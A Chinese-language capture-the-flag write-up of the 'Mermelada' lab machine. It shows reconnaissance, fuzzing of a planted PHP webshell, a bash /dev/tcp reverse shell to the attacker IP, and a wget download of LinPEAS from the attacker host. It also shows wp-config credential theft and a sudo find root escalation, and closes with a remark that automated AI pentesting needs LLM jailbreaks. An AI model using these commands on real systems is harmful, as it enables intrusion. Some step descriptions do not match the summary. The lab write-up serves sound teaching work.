theHackerLabs_Mermelada _WriteUp 的文章封面
返回文章列表
Neuroblue writing

theHackerLabs_Mermelada _WriteUp

从0到1的简单渗透测试

信息收集

Pasted image 20260619135723

主机发现

┌──(root㉿kali)-[~]
└─# arp-scan -l      
Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:07:c6, IPv4: 192.168.43.57
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.43.1    56:dc:a2:f3:f1:64       (Unknown: locally administered)
192.168.43.73   2c:9c:58:8e:96:a5       (Unknown)
192.168.43.165  08:00:27:9a:2c:28       PCS Systemtechnik GmbH

靶机 IP:192.168.43.165

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sC -sV 192.168.43.165
Starting Nmap 7.98 ( https://nmap.org )
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: Mermelada
3306/tcp open  mysql   MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1
MAC Address: 08:00:27:9A:2C:28 (Oracle VirtualBox)

Web 枚举

浏览器访问 http://192.168.43.165,首页是个果酱主题的静态页面,JS 无有效交互。

HTML 源码精简分析:

<form action="mermelada.php" method="GET">
  <input type="text" name="zona" placeholder="Introduce tu zona...">
  <button type="submit">Enviar</button>
</form>

输入 aa 提交,URL 变为 http://192.168.43.165/mermelada.php?zona=aa,页面返回一个包含用户输入值的静态响应。初步怀疑存在 LFI 或 SQL 注入,但未直接回显有效结果。

目录爆破

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.43.165 \
    -w /usr/share/wordlists/dirb/common.txt \
    -x php,txt \
    --status-codes-blacklist 404

/uploads              (Status: 301)
/wordpress            (Status: 301)
/mermelada.php        (Status: 200)

发现 /wordpress 是 WordPress 站点,且 /uploads/ 目录包含敏感文件。

访问 http://192.168.43.165/uploads/compra.txt:

[+] Mermelada de fresa
[+] Mermelada de frambuesa
[+] Mermelada de mora
[+] Mermelada de dW4gcGlxdWl0bz8K
[+] Mermelada de albaricoque
[+] Mermelada de mango

其中第三条 dW4gcGlxdWl0bz8K 解码:

┌──(root㉿kali)-[~]
└─# echo "dW4gcGlxdWl0bz8K" | base64 -d
un piquito?

注:原文中 base64 末尾多一个 ~,实际解码时需去掉。

这是西班牙语「一小口?」的意思,属于干扰信息,无利用价值。

WordPress 专项扫描

┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.43.165/wordpress -e u,vp,vt,ap,at
___________________________________________________________
[+] URL: http://192.168.43.165/wordpress/ [192.168.43.165]
[+] Started: Fri Jun 19 14:48:54 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.65 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled:
     http://192.168.43.165/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress readme found:
     http://192.168.43.165/wordpress/readme.html

[+] Upload directory has listing enabled:
     http://192.168.43.165/wordpress/wp-content/uploads/

[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02).

[+] Enumerating Users
 | User(s) Identified:
[+] mermeladita
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[i] No plugins Found.
[i] No themes Found.

域名解析修复

点击站内文章时跳转至 http://mermelada.thl,需将该域名加入本地 DNS 解析:

echo "192.168.43.165 mermelada.thl" >> /etc/hosts

关键发现:Webshell

Uploads 目录 http://192.168.43.165/wordpress/wp-content/uploads/2026/01/ 中存在一个可疑 PHP 文件:

macoduweklgkmvp-1767607866.7342.php

直接访问返回空白,说明此文件为一句话木马,但参数未知。

漏洞利用

ffuf 参数爆破

用 ffuf 对该文件进行参数名 Fuzzing:

┌──(root㉿kali)-[~]
└─# ffuf -u "http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?FUZZ=id" \
      -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
      -t 50 -fs 12

| 参数 | 状态码 | 响应长度 | 说明 |
|------|--------|----------|------|
| cmd  | 200    | 变化值   | ✅ 命中,可执行命令 |
| 其余 | 200    | 12       | 基线长度,无效参数 |

确认 cmd 参数可用:

http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

反弹 Shell

攻击机监听:

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444

反弹 Payload — Bash TCP Reverse Shell:

原始命令:

bash -c 'bash -i >& /dev/tcp/192.168.43.57/4444 0>&1'

URL 编码(浏览器直接访问触发):

http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.57%2F4444%200%3E%261%27

Shell 连接成功,获得 www-data 权限。

后渗透 & 横向移动

TTY 升级

反弹 Shell 不具备完整终端能力(无法 Tab 补全、Ctrl+C 会断开、无法 sudo/su)。

方案一:rlwrap(推荐,如果已安装)

# Kali 端重新监听
rlwrap nc -lvnp 4444

方案二:script 命令(不依赖 stty,通用性最强)

script /dev/null -c /bin/bash

一行即完成 TTY 升级,无需按 Ctrl+Z。

方案三:传统 Python3 + stty 方法

# 目标机
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
[Ctrl+Z]  # 回到 Kali

# Kali 本机执行(先在本机终端查 stty size 获取真实 rows/columns)
stty raw -echo; fg
[Enter]

# 目标机
reset
export SHELL=bash
stty rows 43 columns 155

信息收集 — LinPEAS

上传并运行 LinPEAS 进行自动化提权信息收集:

# Kali 端(192.168.43.57)
cd /usr/share/peass/linpeas/
python3 -m http.server 8000

# 目标机(www-data)
cd /tmp
wget http://192.168.43.57:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.out

Pasted image 20260619151050

关键发现:wp-config.php

LinPEAS 输出显示 /var/www/html/wordpress/ 目录下存在权限异常的配置文件:

╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 root root 3098 Jun 12 17:02 /var/www/html/wordpress/wp-config.php

直接读取 WordPress 配置文件:

www-data@debian:~$ cat /var/www/html/wordpress/wp-config.php
/** The name of the database for WordPress */
define( 'DB_NAME', 'mermelada' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '12345' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );

MySQL 凭据提取 — 横向至 mermeladita

凭据 root:12345,连接本地 MySQL:

www-data@debian:~$ mysql -u root -p12345

Pasted image 20260619151713 SSH 登录:

┌──(root㉿kali)-[~]
└─# ssh mermeladita@192.168.43.165

权限提升

sudo -l 发现

mermeladita@debian:~$ sudo -l
User mermeladita may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/find

GTFOBins — find 提权

find 的 -exec 参数可在找到的文件上执行任意命令,结合 sudo 以 root 身份运行:

mermeladita@debian:~$ sudo find . -exec /bin/bash -p \; -quit
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:~# whoami
root

参数解析:

标记含义
sudo find .以 root 身份在当前目录开始查找
-exec /bin/bash -p对找到的文件执行特权模式 bash
-pbash 的 privileged mode,防止 bash 主动丢弃 euid
\;find 的 -exec 参数结束符(\ 在 shell 中转义 ;)
-quit执行一次后立即退出 find

-p 的作用: 当使用者通过 sudo 启动 bash 时,bash 检测到有效 UID ≠ 真实 UID,默认会主动丢弃 root 权限,将 euid 重置为真实 UID。-p 告诉 bash:不丢特权,保持 root。

Flag 获取

root@debian:~# cat /root/root.txt

Pasted image 20260619152028

攻击链总结

1. 主机发现 (arp-scan)
       ↓
2. 端口扫描 (nmap) → 22/SSH, 80/HTTP, 3306/MySQL
       ↓
3. Web 枚举
   ├── gobuster → /wordpress, /uploads
   ├── compra.txt → base64 干扰信息
   └── Uploads 目录浏览 → 发现一句话木马 PHP
       ↓
4. ffuf 参数爆破 → cmd 参数可用
       ↓
5. Bash TCP Reverse Shell → www-data
       ↓
6. 后渗透
   ├── LinPEAS 自动化收集
   ├── wp-config.php → DB 凭据 root:12345
   └── MySQL → wp_users hash → hashcat 破解 → mermeladita 密码
       ↓
7. SSH 登录 mermeladita
       ↓
8. sudo find → GTFOBins 提权 → root

工具清单

敌情侦察: arp-scan, nmap
目录爆破: gobuster
Webshell 参数盲测: ffuf
WordPress 扫描: wpscan
反弹 Shell: bash TCP reverse shell
后渗透收集: LinPEAS
Hash 破解: hashcat (mode 400) / john
提权: GTFOBins (find + sudo)

安全建议

  1. 移除或加固 Uploads 目录下的 Webshell,排查初始植入点
  2. WordPress 建议升级至最新版,或至少禁用 XML-RPC(/xmlrpc.php)
  3. MySQL root 密码 12345 极度弱口令,应立即更换
  4. sudo find NOPASSWD 权限应回收或改用 ACL 限制
  5. 限制 WordPress uploads 目录的 PHP 执行权限

写在后面

一开始让 AI 自动跑,很大概率会卡在漏洞扫描、参数枚举、目录爆破等等位置,特别是 wordpress 部分。并且由于 wpscan、ssh、linpeas 等工具、环境的限制,操作起来非常吃力。

而且 Webshell 的发现依赖浏览器视觉交互 + 目录索引浏览,这是纯文本 AI 的感知边界。一旦 Webshell 被人类找到并喂给 AI,后续攻击链(参数爆破 → 反弹 Shell → 凭据提取 → 提权)就会变得简单一点。


skills 负责流程与知识编排,mcp 负责提供工具与执行能力;然后还需要比较稳定的大模型越狱能力。

AI 自动渗透测试能力还有待提高。